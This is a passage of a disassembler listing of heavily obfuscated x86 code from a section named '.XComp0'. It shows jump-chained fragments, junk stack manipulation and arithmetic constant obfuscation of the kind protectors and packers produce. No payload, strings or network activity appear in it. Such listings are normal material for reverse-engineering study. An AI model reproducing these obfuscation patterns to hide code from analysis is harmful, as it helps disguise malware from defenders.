.XComp0:00579AD4j sub ebx, eax push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 xchg ebx, [esp] jmp loc_581783 ; --------------------------------------------------------------------------- loc_580652: ; CODE XREF: .XComp0:0057EAAAj push eax mov al, 0D0h jmp loc_574C7B ; --------------------------------------------------------------------------- loc_58065A: ; CODE XREF: .XComp0:00575A55j add ebx, 74164392h jmp loc_5820D7 ; --------------------------------------------------------------------------- loc_580665: ; CODE XREF: .XComp0:0057AAC2j pop edi add edi, 4 add edi, 4 push edi push dword ptr [esp+4] jmp loc_577968 ; --------------------------------------------------------------------------- loc_580679: ; CODE XREF: .XComp0:005807E0j push edi mov edi, 5EDF3A50h sub edi, 0FFFFFFFFh xor edi, 718F3F27h add esi, 1C813BD9h sub esi, edi sub esi, 1C813BD9h pop edi xor esi, 40AB77D7h add edi, esi jmp loc_57D248 ; --------------------------------------------------------------------------- loc_5806A7: ; CODE XREF: .XComp0:0057C170j mov [esp], ebx mov ebx, 4 sub eax, ebx pop ebx xchg eax, [esp] jmp loc_57EEEC ; --------------------------------------------------------------------------- loc_5806BA: ; CODE XREF: .XComp0:005748F8j xor edx, 0A453943h and edx, 4E1572BAh add edx, 0AA09AC23h add esi, edx pop edx add edi, 7F58051Dh sub edi, esi push eax mov eax, 7F58051Dh sub edi, eax pop eax pop esi mov ebx, [esp] add esp, 4 and eax, edi push dword ptr [esp] pop edi sub esp, 4 mov [esp], edx push esp pop edx push eax push ebp mov ebp, 4 mov eax, ebp pop ebp add edx, eax jmp loc_57E6E4 ; --------------------------------------------------------------------------- loc_580709: ; CODE XREF: .XComp0:0057CE1Cj xor ecx, [esp] mov esp, [esp] mov ax, [esp] push ecx push esp jmp loc_57F99F ; --------------------------------------------------------------------------- loc_58071A: ; CODE XREF: .XComp0:005757D6j add ebp, 0FFFFFFFFh sub ebp, 7A3A563Fh mov eax, ebp pop ebp mov ecx, eax pop eax push ebp mov ebp, ecx push ebp add dword ptr [esp], 61EC5B52h pop eax jmp loc_573AA6 ; --------------------------------------------------------------------------- loc_58073A: ; CODE XREF: .XComp0:0057CC08j pop ecx jmp loc_580F2E ; --------------------------------------------------------------------------- loc_580740: ; CODE XREF: .XComp0:00577D18j mov bh, al mov ax, [esp] add esp, 2 sub al, 0C4h sub al, 0E2h jmp loc_57BC09 ; --------------------------------------------------------------------------- loc_580752: ; CODE XREF: .XComp0:005754F8j mov bl, al pop eax mov ecx, [esp] push ebp jmp loc_57F2B2 ; --------------------------------------------------------------------------- loc_58075E: ; CODE XREF: .XComp0:00579C35j add edi, 4 add edi, 4 jmp loc_57C295 ; --------------------------------------------------------------------------- loc_58076F: ; CODE XREF: .XComp0:005833FFj mov [esp], ecx push edx mov dh, 8 jmp loc_57CBBD ; --------------------------------------------------------------------------- lodsd jmp loc_576B94 ; --------------------------------------------------------------------------- loc_580780: ; CODE XREF: .XComp0:005757ACj add ebx, eax add ebx, 445D0BF7h pop eax push 7AAh mov [esp], ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 jmp loc_57EE23 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_5807A3: ; CODE XREF: sub_5A47B5-23629j add esi, eax jmp loc_57B1F0 ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_5807AA: ; CODE XREF: .XComp0:0057F907j push 7D30h mov [esp], edx mov edx, esp add edx, 4 push ebp mov ebp, 468A337Ah add ebp, 0B975CC8Ah jmp loc_573C05 ; --------------------------------------------------------------------------- loc_5807CB: ; CODE XREF: .XComp0:0057D28Ej and ecx, 14F7318h shl ecx, 6 inc ecx jmp loc_57FB9F ; --------------------------------------------------------------------------- loc_5807DA: ; CODE XREF: .XComp0:005825FAj or esi, 4D9B5D09h jmp loc_580679 ; --------------------------------------------------------------------------- loc_5807E5: ; CODE XREF: .XComp0:00576326j mov edi, [esp] add esp, 4 push eax mov eax, 34477C2h jmp loc_57C437 ; --------------------------------------------------------------------------- loc_5807F9: ; CODE XREF: .XComp0:0057C419j mov ebx, 4 jmp loc_579E10 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_57DF6C ; --------------------------------------------------------------------------- loc_58080C: ; CODE XREF: .XComp0:0057B5D3j add esp, 4 push 0B97h mov [esp], eax mov eax, 4E965562h sub eax, 17E84404h sub eax, 35C2D83Bh sub ebx, eax pop eax jmp loc_573541 ; --------------------------------------------------------------------------- loc_580831: ; CODE XREF: .XComp0:0057E025j mov ecx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_5755EB ; --------------------------------------------------------------------------- loc_580842: ; CODE XREF: .XComp0:00580631j mov [esp], edi mov edi, 22DD3ED8h jmp loc_57410A ; --------------------------------------------------------------------------- loc_58084F: ; CODE XREF: .XComp0:00579F51j pop edi mov ebx, [esp] jmp loc_57CDBF ; --------------------------------------------------------------------------- loc_580858: ; CODE XREF: .XComp0:0057F021j mov eax, 20h push edx mov edx, 3AF30B33h sub eax, edx jmp loc_57F8F9 ; --------------------------------------------------------------------------- loc_58086A: ; CODE XREF: .XComp0:00574E32j xchg ebx, [esp] pop esp xor bl, al push ebp sub esp, 4 mov [esp], edx mov edx, 3FCh jmp loc_5798A8 ; --------------------------------------------------------------------------- loc_580881: ; CODE XREF: .XComp0:0057B8EAj pop edx pop dword ptr [esp] pop esp movzx cx, al sub esp, 4 mov [esp], edx push esp jmp loc_576F7C ; --------------------------------------------------------------------------- loc_580899: ; CODE XREF: .XComp0:005808E5j inc bh xchg bh, dh jmp loc_573875 ; --------------------------------------------------------------------------- loc_5808A2: ; CODE XREF: .XComp0:005817BDj add ecx, 4 xor ecx, [esp] jmp loc_578F53 ; --------------------------------------------------------------------------- loc_5808AD: ; CODE XREF: .XComp0:00580CA9j mov esp, [esp] push 3EE6h mov [esp], eax mov eax, esp add eax, 4 add eax, 4 jmp loc_574B77 ; --------------------------------------------------------------------------- loc_5808C9: ; CODE XREF: .XComp0:0057892Cj pop esp mov ax, [esp] push 1F8Fh mov [esp], edi push 7E7Bh push esp jmp loc_57F1F2 ; --------------------------------------------------------------------------- loc_5808E1: ; CODE XREF: .XComp0:0057DA56j xor bh, dh xor dh, bh jmp loc_580899 ; --------------------------------------------------------------------------- loc_5808EA: ; CODE XREF: .XComp0:0057F82Cj add edx, 4 jmp loc_57DAF5 ; --------------------------------------------------------------------------- loc_5808F2: ; CODE XREF: .XComp0:005748DEj sub ebx, ecx pop ecx add ebp, ebx jmp loc_57510B ; --------------------------------------------------------------------------- loc_5808FC: ; CODE XREF: .XComp0:00577F51j mov esi, 2 add ebp, esi pop esi jmp loc_578CD3 ; --------------------------------------------------------------------------- loc_580909: ; CODE XREF: .XComp0:005815A7j sub bl, 0F1h push eax mov ah, 0C9h sub bl, ah pop eax movzx eax, al mov dx, [esp] push 72BCh mov [esp], esi mov esi, esp push eax mov eax, 72D2F43h jmp loc_57AFFD ; --------------------------------------------------------------------------- loc_58092E: ; CODE XREF: .XComp0:00579FF7j mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push ebp mov ebp, 4 add esi, ebp pop ebp push ecx push edi mov edi, 2 mov ecx, edi pop edi add esi, ecx pop ecx push esi push dword ptr [esp+4] mov esi, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_5784D8 ; --------------------------------------------------------------------------- loc_58096C: ; CODE XREF: .XComp0:00576CD0j sub edx, ebp pop ebp sub ebx, edx pop edx add edi, ebx jmp loc_57C4FB ; --------------------------------------------------------------------------- loc_580979: ; CODE XREF: .XComp0:0057495Dj mov esp, [esp] push dword ptr [edi+eax*4] push dword ptr [esp] mov eax, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_575E7E ; --------------------------------------------------------------------------- loc_580993: ; CODE XREF: .XComp0:0057630Cj xor ecx, edx pop edx push ecx sub dword ptr [esp], 184D740Ch pop edx add edx, 184D740Ch pop ecx jmp loc_574DA1 ; --------------------------------------------------------------------------- loc_5809AB: ; CODE XREF: .XComp0:0057A502j add eax, 53725CD6h and eax, 34D5C09h jmp loc_57DCD8 ; --------------------------------------------------------------------------- loc_5809BA: ; CODE XREF: .XComp0:005778D5j pop esp push dword ptr [esp] jmp loc_581A79 ; --------------------------------------------------------------------------- loc_5809C3: ; CODE XREF: .XComp0:00580B15j mov ebx, 5C36C4C6h sub edx, 31EC3C6Fh add edx, 78AA00C6h sub edx, ebx sub edx, 78AA00C6h add edx, 31EC3C6Fh pop ebx sub eax, 453264D1h add eax, edx add eax, 453264D1h mov edx, [esp] add esp, 4 jmp loc_57BCF7 ; --------------------------------------------------------------------------- loc_5809FD: ; CODE XREF: .XComp0:00582973j add esp, 4 add esi, 47007E68h sub esi, 5CC71DE9h add esi, edi add esi, 5CC71DE9h sub esi, 47007E68h jmp loc_573B4C ; --------------------------------------------------------------------------- loc_580A1F: ; CODE XREF: .XComp0:00580363j shr edx, 1 xor edx, 54587FF1h shl edx, 3 not edx inc edx add edx, 0B71070Ah jmp loc_5778AD ; --------------------------------------------------------------------------- loc_580A38: ; CODE XREF: .XComp0:00581B4Dj pop edx xor esi, 5F136EF0h shr esi, 6 sub esp, 4 jmp loc_57EADA ; --------------------------------------------------------------------------- loc_580A4A: ; CODE XREF: .XComp0:0057A33Bj add eax, edi pop edi push 659Ah mov [esp], ebx jmp loc_576401 ; --------------------------------------------------------------------------- loc_580A5A: ; CODE XREF: .XComp0:0057F863j add dword ptr [esp], 135F18ADh pop eax push 2CC9h mov [esp], edi mov edi, 135F18ADh add eax, 7FFF3B4Ch sub eax, edi sub eax, 7FFF3B4Ch pop edi jmp loc_573760 ; --------------------------------------------------------------------------- loc_580A81: ; CODE XREF: .XComp0:0057BD2Cj sub edi, esi jmp loc_57FAB0 ; --------------------------------------------------------------------------- loc_580A88: ; CODE XREF: .XComp0:0057A279j add bl, cl add bl, 96h mov ecx, [esp] add esp, 4 movzx eax, al push dword ptr [edi+eax*4] jmp loc_57A62D ; --------------------------------------------------------------------------- loc_580AA1: ; CODE XREF: .XComp0:00576BABj mov bl, 5Dh push esi mov esi, esp jmp loc_577C90 ; --------------------------------------------------------------------------- loc_580AAB: ; CODE XREF: .XComp0:0057E4F5j jmp loc_573541 ; --------------------------------------------------------------------------- loc_580AB0: ; CODE XREF: .XComp0:00581E8Bj shr edx, 5 shl edx, 8 push ebp mov ebp, 576E1054h not ebp neg ebp jmp loc_57E869 ; --------------------------------------------------------------------------- loc_580AC5: ; CODE XREF: .XComp0:00578ED9j neg edx xor edx, 861EDE1Ch add ecx, edx pop edx sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebx mov ebx, 2F991669h xor eax, ebx jmp loc_5747CE ; --------------------------------------------------------------------------- mov ax, [esp] push 0CCCh mov [esp], esi jmp loc_57999F ; --------------------------------------------------------------------------- loc_580AFA: ; CODE XREF: .XComp0:00574DEFj push 5C21h mov [esp], edx jmp loc_580DFF ; --------------------------------------------------------------------------- loc_580B07: ; CODE XREF: .XComp0:0057B0E0j add edx, esi mov esi, [esp] add esp, 4 not edx push ebx jmp loc_5809C3 ; --------------------------------------------------------------------------- loc_580B1A: ; CODE XREF: .XComp0:0057B530j mov esi, [esp] jmp loc_582F49 ; --------------------------------------------------------------------------- loc_580B22: ; CODE XREF: .XComp0:005754B8j push edx mov edx, 15912F75h sub esp, 4 mov [esp], ecx jmp loc_57634B ; --------------------------------------------------------------------------- loc_580B33: ; CODE XREF: .XComp0:0057A949j add edx, ebp jmp loc_57906F ; --------------------------------------------------------------------------- loc_580B3A: ; CODE XREF: .XComp0:00576583j add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp rol word ptr [esp], cl pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_580B51: ; CODE XREF: .XComp0:0057890Bj shl edi, 4 xor edi, 9BB097A4h sub ebx, edi pop edi xchg ebx, [esp] pop esp jmp loc_573705 ; --------------------------------------------------------------------------- loc_580B66: ; CODE XREF: .XComp0:0057632Dj push eax mov al, bl jmp loc_57F28D ; --------------------------------------------------------------------------- loc_580B6E: ; CODE XREF: .XComp0:00582525j push ecx mov ecx, 74026E22h sub edx, ecx pop ecx add edx, ebp add edx, 74026E22h mov ebp, [esp] add esp, 4 push edi mov edi, 2 push edi mov edi, 29385018h push ebx mov ebx, 622DC9h and ebx, 545B40C7h not ebx jmp loc_578BDD ; --------------------------------------------------------------------------- loc_580BA4: ; CODE XREF: .XComp0:005811D6j mov ebx, esp push ebp mov ebp, 4 add ebx, ebp pop ebp add ebx, 4 xchg ebx, [esp] pop esp loc_580BB9: ; CODE XREF: .XComp0:0057C106j push 4FD3h jmp loc_57D3C3 ; --------------------------------------------------------------------------- loc_580BC3: ; CODE XREF: .XComp0:00575D27j sub ebx, 2CEB605Bh jmp loc_575154 ; --------------------------------------------------------------------------- loc_580BCE: ; CODE XREF: .XComp0:00573FB2j add edi, 47D148F9h jmp loc_577A32 ; --------------------------------------------------------------------------- loc_580BD9: ; CODE XREF: .XComp0:0057D231j sub ecx, 411Eh add eax, ecx push dword ptr [esp] pop ecx add esp, 4 jmp loc_57B6E2 ; --------------------------------------------------------------------------- loc_580BF0: ; CODE XREF: .XComp0:00576E53j mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_5793BD ; --------------------------------------------------------------------------- loc_580C0A: ; CODE XREF: .XComp0:0057FEA1j xor eax, 1CB5E44Fh jmp loc_578CDB ; --------------------------------------------------------------------------- loc_580C14: ; CODE XREF: .XComp0:0057AFA9j add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5829A6 ; --------------------------------------------------------------------------- loc_580C25: ; CODE XREF: .XComp0:0057C8F0j mov [esp], esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] add esp, 4 push ecx jmp loc_57FFB1 ; --------------------------------------------------------------------------- loc_580C44: ; CODE XREF: .XComp0:00574F48j xor dh, bl pop ebx jmp loc_57372C ; --------------------------------------------------------------------------- loc_580C4C: ; CODE XREF: .XComp0:00574B8Dj and al, cl mov cx, [esp] push edx mov edx, esp add edx, 4 add edx, 2 xchg edx, [esp] mov esp, [esp] push 0ACAh mov [esp], edi push esp mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp sub esp, 4 jmp loc_580FE0 ; --------------------------------------------------------------------------- loc_580C97: ; CODE XREF: .XComp0:005765FDj inc edi xor edi, 0A017AC6h jmp loc_57D9CB ; --------------------------------------------------------------------------- loc_580CA3: ; CODE XREF: .XComp0:0057B0C1j xor [esp], ecx xor ecx, [esp] jmp loc_5808AD ; --------------------------------------------------------------------------- loc_580CAE: ; CODE XREF: .XComp0:00577C12j pop esp add eax, 2135284Ah sub eax, 0DF61DE6h add eax, ecx add eax, 0DF61DE6h sub eax, 2135284Ah sub eax, 1A58098Ch pop ecx sub esp, 4 mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp jmp loc_57FD15 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] jmp loc_573AD6 ; --------------------------------------------------------------------------- loc_580CEA: ; CODE XREF: .XComp0:0057E00Bj add esp, 4 sub [edi+20h], esi pop esi jmp loc_574A20 ; --------------------------------------------------------------------------- loc_580CF6: ; CODE XREF: .XComp0:0057745Ej push 4ABE06C2h pop edi xor edi, 37CE3772h sub edi, 7D7031ACh jmp loc_57EFC7 ; --------------------------------------------------------------------------- loc_580D0D: ; CODE XREF: .XComp0:00574CF6j mov edx, esp push eax mov eax, 45FA4FC7h or eax, 7C180307h add eax, 254F7AA6h push esi mov esi, 6BEE38D0h shl esi, 6 sub esi, 9ED7FE69h jmp loc_57A68C ; --------------------------------------------------------------------------- loc_580D33: ; CODE XREF: .XComp0:0058211Aj mov ch, 6Eh sub al, ch pop cx add al, ch jmp loc_579381 ; --------------------------------------------------------------------------- loc_580D40: ; CODE XREF: .XComp0:0057A211j add edx, 17D46E3Fh push ecx push esi push 50752543h pop esi jmp loc_57C47D ; --------------------------------------------------------------------------- loc_580D53: ; CODE XREF: .XComp0:0057F288j add edx, 4 jmp loc_580E8B ; --------------------------------------------------------------------------- loc_580D5E: ; CODE XREF: .XComp0:0057FD5Aj pop edi add ebx, 4 xchg ebx, [esp] pop esp jmp loc_577F56 ; --------------------------------------------------------------------------- loc_580D6E: ; CODE XREF: .XComp0:0057CA61j pop esp mov [esp], ecx jmp loc_57CAE4 ; --------------------------------------------------------------------------- loc_580D77: ; CODE XREF: .XComp0:0057DD64j sub ecx, 0FFFFFFFFh jmp loc_5782AA ; --------------------------------------------------------------------------- loc_580D7F: ; CODE XREF: .XComp0:0057A47Bj push ebx mov ebx, esp jmp loc_5757E5 ; --------------------------------------------------------------------------- loc_580D87: ; CODE XREF: .XComp0:00573CADj add esi, 35382F96h add esi, 0FFFFFFFFh push 0 sub [esp], esi pop esi sub esi, 89D7B9Dh xor esi, 9D74027Dh add ebp, esi pop esi sub esp, 4 mov [esp], edi jmp loc_57362A ; --------------------------------------------------------------------------- loc_580DB3: ; CODE XREF: .XComp0:0057E60Aj sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx mov ecx, 5AA04738h add ecx, 35A763DFh sub esp, 4 mov [esp], esi mov esi, 2CD53ABEh jmp loc_5813CF ; --------------------------------------------------------------------------- loc_580DD8: ; CODE XREF: .XComp0:005777EFj add eax, esi pop esi add eax, ebx jmp loc_57565B ; --------------------------------------------------------------------------- loc_580DE2: ; CODE XREF: .XComp0:0057E6D2j push edi mov edi, 60B23741h sub ebp, 237560E9h add ebp, edi add ebp, 237560E9h pop edi mov edi, ebp pop ebp jmp loc_57DA5B ; --------------------------------------------------------------------------- loc_580DFF: ; CODE XREF: .XComp0:00580B02j mov edx, 302F676Ah jmp loc_57C9CC ; --------------------------------------------------------------------------- loc_580E09: ; CODE XREF: .XComp0:0057C79Bj xor esi, eax pop eax push esi mov esi, 4C51659Ah jmp loc_5759E0 ; --------------------------------------------------------------------------- loc_580E17: ; CODE XREF: .XComp0:00579E8Dj neg dl inc dl xor dl, 0E2h jmp loc_57AF3A ; --------------------------------------------------------------------------- loc_580E23: ; CODE XREF: .XComp0:005823F6j push 4 pop edi add ecx, edi pop edi xchg ecx, [esp] pop esp jmp loc_573541 ; --------------------------------------------------------------------------- loc_580E35: ; CODE XREF: .XComp0:00578C19j pop edx push 609Ah mov [esp], ecx jmp loc_57EC7E ; --------------------------------------------------------------------------- loc_580E43: ; CODE XREF: .XComp0:00577130j mov esi, 1711604Fh add dword ptr [esp+4], 539B2545h add dword ptr [esp+4], 18C62F82h sub dword ptr [esp+4], 3BE05DBCh add [esp+4], esi add dword ptr [esp+4], 3BE05DBCh jmp loc_57E67A ; --------------------------------------------------------------------------- loc_580E71: ; CODE XREF: .XComp0:00582C00j sub ebx, 0FFFFFFFFh shr ebx, 1 neg ebx xor ebx, 0FB0DBDA3h mov ebp, ebx mov ebx, [esp] jmp loc_5795AF ; --------------------------------------------------------------------------- loc_580E8B: ; CODE XREF: .XComp0:00580D59j xchg edx, [esp] jmp loc_573DD3 ; --------------------------------------------------------------------------- loc_580E93: ; CODE XREF: .XComp0:00582684j mov bh, dl push eax mov al, bh jmp loc_57E1E1 ; --------------------------------------------------------------------------- loc_580E9D: ; CODE XREF: .XComp0:00583280j mov edi, ebx mov ebp, edi pop edi mov ebx, [esp] add esp, 4 jmp loc_574B2A ; --------------------------------------------------------------------------- loc_580EB0: ; CODE XREF: .XComp0:00581FE7j push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp jmp loc_57455E ; --------------------------------------------------------------------------- loc_580EBE: ; CODE XREF: .XComp0:0057A3E2j mov ebp, 5DE2119h mov edx, 2227E4BCh xor edx, ebp pop ebp add edx, esi pop esi or edx, 2D9A6309h jmp loc_57AAD5 ; --------------------------------------------------------------------------- loc_580ED9: ; CODE XREF: .XComp0:00573710j xor [esp+4], edi jmp loc_57E70D ; --------------------------------------------------------------------------- loc_580EE2: ; CODE XREF: .XComp0:00575C61j sub eax, 4 jmp loc_57E469 ; --------------------------------------------------------------------------- loc_580EEC: ; CODE XREF: .XComp0:00576C62j pop edi pop ecx push edx mov edx, 672A7CD9h sub ecx, edx pop edx pop ebx push edi push 2601h mov [esp], ecx mov ecx, 3C112A2Dh and ecx, 132A6770h and ecx, 677168D4h and ecx, 30A12734h push ebp mov ebp, 753B2E39h jmp loc_57DEE5 ; --------------------------------------------------------------------------- loc_580F23: ; CODE XREF: .XComp0:00574018j push dword ptr [esp] mov esi, [esp] jmp loc_57F62B ; --------------------------------------------------------------------------- loc_580F2E: ; CODE XREF: .XComp0:0058073Bj sub edx, 581D3C2Fh jmp loc_582184 ; --------------------------------------------------------------------------- loc_580F39: ; CODE XREF: .XComp0:0057A2F9j sub eax, 26BE46CAh jmp loc_582480 ; --------------------------------------------------------------------------- loc_580F43: ; CODE XREF: .XComp0:00579D06j push ecx mov ecx, 4 add edx, ecx pop ecx sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov [esp], eax jmp loc_581F72 ; --------------------------------------------------------------------------- loc_580F64: ; CODE XREF: .XComp0:0057F233j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push edx jmp loc_576E8E ; --------------------------------------------------------------------------- lodsb sub al, 3Bh push edx push eax mov al, 69h mov dh, 22h jmp loc_574A61 ; --------------------------------------------------------------------------- loc_580F88: ; CODE XREF: .XComp0:0057576Ej mov edi, 265C535Dh mov edx, edi jmp loc_57BF85 ; --------------------------------------------------------------------------- loc_580F94: ; CODE XREF: .XComp0:005803AAj not bx add bx, 6066h jmp loc_57B36A ; --------------------------------------------------------------------------- loc_580FA1: ; CODE XREF: .XComp0:0057CC19j mov esi, 2 add edx, esi push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_57F3A3 ; --------------------------------------------------------------------------- loc_580FB6: ; CODE XREF: .XComp0:0057F23Aj pop eax xor ebp, 4220218Dh add edi, ebp jmp loc_57CB2E ; --------------------------------------------------------------------------- loc_580FC4: ; CODE XREF: .XComp0:00580325j add ebp, 540D3092h add ebp, edi sub ebp, 540D3092h pop edi jmp loc_57C908 ; --------------------------------------------------------------------------- loc_580FD8: ; CODE XREF: .XComp0:00578720j xor [esp], esi jmp loc_579005 ; --------------------------------------------------------------------------- loc_580FE0: ; CODE XREF: .XComp0:00580C92j mov [esp], ebp mov ebp, 4 jmp loc_5760B3 ; --------------------------------------------------------------------------- loc_580FED: ; CODE XREF: .XComp0:0057F4DBj sub bl, 69h jmp loc_57635B ; --------------------------------------------------------------------------- loc_580FF5: ; CODE XREF: .XComp0:00581DF9j add esp, 4 sub esp, 4 mov [esp], ebx mov ebx, 39C4F94h jmp loc_579B3F ; --------------------------------------------------------------------------- loc_58100B: ; CODE XREF: .XComp0:0057DC33j xor edx, 7FDE7EBEh jmp loc_57D8C8 ; --------------------------------------------------------------------------- loc_581016: ; CODE XREF: .XComp0:00573EB7j mov edx, [esp] jmp loc_57F227 ; --------------------------------------------------------------------------- loc_58101E: ; CODE XREF: .XComp0:0057A103j mov eax, 4 add esi, eax pop eax xchg esi, [esp] mov esp, [esp] or eax, eax jnz loc_57D434 push eax push edi push ecx mov ecx, 4870A48h jmp loc_57BB49 ; --------------------------------------------------------------------------- loc_581041: ; CODE XREF: .XComp0:0057FE33j mov eax, 7D9A35E2h jmp loc_574BE4 ; --------------------------------------------------------------------------- loc_58104B: ; CODE XREF: .XComp0:0057BDDDj add bl, 0FBh push dword ptr [esp] pop eax jmp loc_582307 ; --------------------------------------------------------------------------- loc_581057: ; CODE XREF: .XComp0:0057C4C1j push esi mov esi, 285B0B3Dh jmp loc_57E262 ; --------------------------------------------------------------------------- loc_581062: ; CODE XREF: .XComp0:005787E1j mov esp, [esp] jmp loc_57D541 ; --------------------------------------------------------------------------- loc_58106A: ; CODE XREF: .XComp0:0057B24Fj sub ecx, 0DC14AA1h pop edx sub esp, 4 mov [esp], ebx mov ebx, 4 sub ecx, 0B900239h add ecx, ebx jmp loc_57C189 ; --------------------------------------------------------------------------- loc_581089: ; CODE XREF: .XComp0:0057EDEEj pop eax pop edx add edx, 4 push edi mov edi, 4 push eax mov eax, 2EDE6303h sub edx, eax mov eax, [esp] add esp, 4 sub edx, edi add edx, 2EDE6303h pop edi xchg edx, [esp] pop esp jmp loc_57DB2B ; --------------------------------------------------------------------------- loc_5810B7: ; CODE XREF: .XComp0:00574715j mov ebx, esp jmp loc_5746F0 ; --------------------------------------------------------------------------- loc_5810BE: ; CODE XREF: .XComp0:0057FF9Bj mov [esp], ecx jmp loc_573541 ; --------------------------------------------------------------------------- loc_5810C6: ; CODE XREF: .XComp0:0057CF0Cj sub eax, 65FF3D4Ch jmp loc_581BFA ; --------------------------------------------------------------------------- loc_5810D0: ; CODE XREF: .XComp0:005767F9j mov [esp], ebp jmp loc_5735E4 ; --------------------------------------------------------------------------- loc_5810D8: ; CODE XREF: .XComp0:005834EAj mov [esp], edi mov edi, 6A554B36h xor edi, 4EBA3024h and edi, 699C1F2Eh add edi, 40566F9Dh jmp loc_576F96 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], eax push 65BCh mov [esp], esp add dword ptr [esp], 4 pop eax push edx mov edx, esp add edx, 4 push eax mov eax, 4 add edx, 0A23515h sub edx, eax jmp loc_57CB4F ; --------------------------------------------------------------------------- loc_58112A: ; CODE XREF: .XComp0:0057A287j push 3418h jmp loc_57EF5F ; --------------------------------------------------------------------------- mov ax, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_57CE7B ; --------------------------------------------------------------------------- loc_581146: ; CODE XREF: .XComp0:0057CB29j mov ecx, 75F06A0h add ebp, ecx pop ecx push ecx mov ecx, 9C57395h xor ebp, ecx pop ecx push ebp not dword ptr [esp] jmp loc_581319 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_581160: ; CODE XREF: sub_5A47B5-30D79j mov [esp+2Ah+var_2C+2], ecx mov cl, al mov dh, cl pop ecx pop eax add al, dh push [esp+22h+var_24+2] mov edx, [esp+26h+var_28+2] add esp, 4 push esi mov esi, esp push eax mov eax, 4 add esi, eax pop eax push eax mov eax, 155B5189h inc eax sub eax, 155B5186h jmp loc_5807A3 ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_581191: ; CODE XREF: .XComp0:005778BEj not ecx xchg ecx, ebp or ebp, 7CB0015Fh jmp loc_578B50 ; --------------------------------------------------------------------------- loc_5811A0: ; CODE XREF: .XComp0:0057DDAAj pop esp mov [esp], ecx mov ecx, 0FFFFFFFFh sub [edi+24h], ecx push dword ptr [esp] mov ecx, [esp] push 11F9h mov [esp], eax mov eax, esp push edx mov edx, 4 add eax, edx pop edx add eax, 4 xchg eax, [esp] pop esp push 6434h mov [esp], ebx jmp loc_580BA4 ; --------------------------------------------------------------------------- loc_5811DB: ; CODE XREF: .XComp0:00574E0Ej sub esp, 4 mov [esp], ecx jmp loc_57FD07 ; --------------------------------------------------------------------------- loc_5811E9: ; CODE XREF: .XComp0:0057E7BFj pop eax add bl, 1 shr bl, 1 push ecx push edx mov dh, 2Bh push ebx jmp loc_57F6BB ; --------------------------------------------------------------------------- loc_5811F9: ; CODE XREF: .XComp0:0057DDC0j mov dh, 4Ah add bl, dh pop edx sub bl, al sub bl, 4Ah jmp loc_5822DC ; --------------------------------------------------------------------------- loc_581208: ; CODE XREF: .XComp0:00577D32j pop eax xor eax, 28EB057Ch pop esi add esi, eax mov eax, [esp] jmp loc_579C3A ; --------------------------------------------------------------------------- loc_581219: ; CODE XREF: .XComp0:0057D153j mov [esp], edx mov edx, esp sub esp, 4 mov [esp], edi mov edi, 4C6E7C91h sub edi, 0FFFFFFFFh inc edi push 1A0Ch jmp loc_57B35D ; --------------------------------------------------------------------------- loc_58123A: ; CODE XREF: .XComp0:0057D88Bj add esp, 4 push ebp push 6A03h mov [esp], esi mov esi, 0B455472h mov ebp, 0D68370Ch jmp loc_57B675 ; --------------------------------------------------------------------------- loc_581258: ; CODE XREF: .XComp0:00581EB2j pop ecx add eax, 814C8045h add edi, eax jmp loc_57CE21 ; --------------------------------------------------------------------------- loc_581265: ; CODE XREF: .XComp0:0058258Bj add ecx, edi jmp loc_57AA56 ; --------------------------------------------------------------------------- loc_58126C: ; CODE XREF: .XComp0:0057F93Bj xor esi, 2F31E003h add ebx, esi pop esi add ebx, eax sub ebx, 292717E1h add ebx, 728426BDh pop small word ptr [eax] jmp loc_573541 ; --------------------------------------------------------------------------- loc_58128B: ; CODE XREF: .XComp0:0057FAC2j sub cl, dh jmp loc_5829DA ; --------------------------------------------------------------------------- loc_581292: ; CODE XREF: .XComp0:0057F08Fj mov edi, 23573275h neg edi sub edi, 3514358Ch jmp loc_57FFA0 ; --------------------------------------------------------------------------- loc_5812A4: ; CODE XREF: .XComp0:00581E43j mov [esp], cx jmp loc_57BDF7 ; --------------------------------------------------------------------------- loc_5812AD: ; CODE XREF: .XComp0:0058358Aj pop edx pop ebx add [esp+4], edx jmp loc_574A57 ; --------------------------------------------------------------------------- loc_5812B8: ; CODE XREF: .XComp0:00574D82j push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx push 4 jmp loc_57C780 ; --------------------------------------------------------------------------- loc_5812D8: ; CODE XREF: .XComp0:00573881j sub dh, ch mov cx, [esp] push esi jmp loc_578C8C ; --------------------------------------------------------------------------- loc_5812E4: ; CODE XREF: .XComp0:0057D9B9j push ecx mov ecx, 5C3A4F99h add [esp+8], ecx mov 